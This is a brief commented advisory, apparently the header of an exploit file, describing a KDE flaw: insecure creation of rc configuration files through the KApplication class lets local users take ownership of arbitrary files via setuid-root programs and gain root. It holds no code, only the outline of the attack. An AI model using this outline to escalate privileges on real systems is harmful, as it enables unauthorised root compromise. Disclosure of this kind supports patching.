#The KDE configuration-file management has a bug which could result in root compromise.
#  
#Due to insecure creation of configuration (rc) files via KApplication-class, local users can modify ownership of arbitrary files when running setuid root KDE-programs.
#  
#Properly exploited, this can permit a local attacker to change ownership of key system files, then write arbitrary data to them, allowing an elevation of privileges.
